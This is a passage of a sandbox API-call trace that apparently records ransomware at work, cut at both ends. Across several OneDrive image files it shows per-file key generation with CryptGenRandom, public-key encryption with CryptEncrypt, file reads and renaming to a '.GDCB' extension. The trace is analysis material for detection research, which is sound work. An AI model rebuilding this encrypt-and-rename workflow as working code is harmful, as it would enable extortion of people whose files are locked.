szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0200.387] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508adb8) returned 1 [0200.387] CryptGetKeyParam (in: hKey=0x508adb8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0200.387] CryptEncrypt (in: hKey=0x508adb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0200.387] GetLastError () returned 0x0 [0200.387] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0200.387] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\checkmark_in_progress.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\checkmark_in_progress.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0200.389] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0200.390] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0200.391] ReadFile (in: hFile=0x514, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d3e8*=0x187, lpOverlapped=0x0) returned 1 [0200.399] VirtualAlloc (lpAddress=0x0, dwSize=0x190, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0200.404] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\checkmark_in_progress.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\checkmark_in_progress.svg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\checkmark_in_progress.svg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\checkmark_in_progress.svg.gdcb")) returned 0 [0200.409] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0200.410] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0200.411] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0200.411] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0200.411] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0200.411] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0200.412] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0200.413] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0200.413] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0200.413] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0200.413] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0200.416] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508ac38) returned 1 [0200.416] CryptGetKeyParam (in: hKey=0x508ac38, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0200.416] CryptEncrypt (in: hKey=0x508ac38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0200.416] GetLastError () returned 0x0 [0200.416] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0200.416] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0200.418] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508a8f8) returned 1 [0200.418] CryptGetKeyParam (in: hKey=0x508a8f8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0200.418] CryptEncrypt (in: hKey=0x508a8f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0200.418] GetLastError () returned 0x0 [0200.418] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0200.418] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\checkmark_selected.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\checkmark_selected.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0200.419] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0200.421] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0200.422] ReadFile (in: hFile=0x514, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d3e8*=0x184, lpOverlapped=0x0) returned 1 [0200.430] VirtualAlloc (lpAddress=0x0, dwSize=0x190, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0200.435] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\checkmark_selected.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\checkmark_selected.svg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\checkmark_selected.svg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\checkmark_selected.svg.gdcb")) returned 1 [0200.439] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0200.440] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0200.441] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0200.441] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0200.441] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0200.441] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0200.442] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0200.443] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0200.443] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0200.443] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0200.443] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0200.445] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508aa38) returned 1 [0200.445] CryptGetKeyParam (in: hKey=0x508aa38, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0200.445] CryptEncrypt (in: hKey=0x508aa38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0200.446] GetLastError () returned 0x0 [0200.446] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0200.446] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4540) returned 1 [0200.447] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508a938) returned 1 [0200.447] CryptGetKeyParam (in: hKey=0x508a938, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0200.447] CryptEncrypt (in: hKey=0x508a938, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0200.448] GetLastError () returned 0x0 [0200.448] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0200.448] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\chevron.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\chevron.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0200.449] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0200.450] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0200.451] ReadFile (in: hFile=0x514, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d3e8*=0x340, lpOverlapped=0x0) returned 1 [0200.459] VirtualAlloc (lpAddress=0x0, dwSize=0x340, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0200.463] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\chevron.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\chevron.svg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\chevron.svg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\chevron.svg.gdcb")) returned 1 [0200.466] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0200.468] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0200.469] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0200.469] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0200.469] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0200.469] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0200.470] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0200.472] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0200.472] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0200.472] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0200.472] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0200.474] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508abf8) returned 1 [0200.474] CryptGetKeyParam (in: hKey=0x508abf8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0200.474] CryptEncrypt (in: hKey=0x508abf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0200.474] GetLastError () returned 0x0 [0200.474] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0200.474] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4540) returned 1 [0200.476] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508aa78) returned 1 [0200.476] CryptGetKeyParam (in: hKey=0x508aa78, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0200.476] CryptEncrypt (in: hKey=0x508aa78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0200.477] GetLastError () returned 0x0 [0200.477] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0200.477] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\chevronUp.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\chevronup.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0200.478] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0200.480] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0200.481] ReadFile (in: hFile=0x514, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d3e8*=0x108, lpOverlapped=0x0) returned 1 [0200.494] VirtualAlloc (lpAddress=0x0, dwSize=0x110, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0200.499] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\chevronUp.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\chevronup.svg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\chevronUp.svg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\chevronup.svg.gdcb")) returned 1 [0200.503] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0200.505] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0200.506] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0200.506] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0200.506] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0200.506] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0200.507] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0200.508] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0200.508] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0200.508] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0200.508] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0200.510] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508aaf8) returned 1 [0200.510] CryptGetKeyParam (in: hKey=0x508aaf8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0200.510] CryptEncrypt (in: hKey=0x508aaf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0200.510] GetLastError () returned 0x0 [0200.510] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0200.510] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0200.512] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508ac78) returned 1 [0200.512] CryptGetKeyParam (in: hKey=0x508ac78, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0200.512] CryptEncrypt (in: hKey=0x508ac78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0200.512] GetLastError () returned 0x0 [0200.512] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0200.512] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\cloud.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\cloud.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0200.514] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0200.515] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0200.516] ReadFile (in: hFile=0x514, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d3e8*=0x8e0, lpOverlapped=0x0) returned 1 [0200.524] VirtualAlloc (lpAddress=0x0, dwSize=0x8e0, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0200.528] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\cloud.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\cloud.svg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\cloud.svg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\cloud.svg.gdcb")) returned 1 [0200.534] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4540) returned 1 [0200.536] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0200.537] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0200.537] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0200.537] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0200.537] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0200.538] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0200.539] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0200.539] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0200.539] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0200.539] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0200.541] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508acb8) returned 1 [0200.541] CryptGetKeyParam (in: hKey=0x508acb8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0200.541] CryptEncrypt (in: hKey=0x508acb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0200.541] GetLastError () returned 0x0 [0200.541] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0200.541] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0200.543] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508ab38) returned 1 [0200.543] CryptGetKeyParam (in: hKey=0x508ab38, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0200.543] CryptEncrypt (in: hKey=0x508ab38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0200.543] GetLastError () returned 0x0 [0200.543] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0200.543] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application 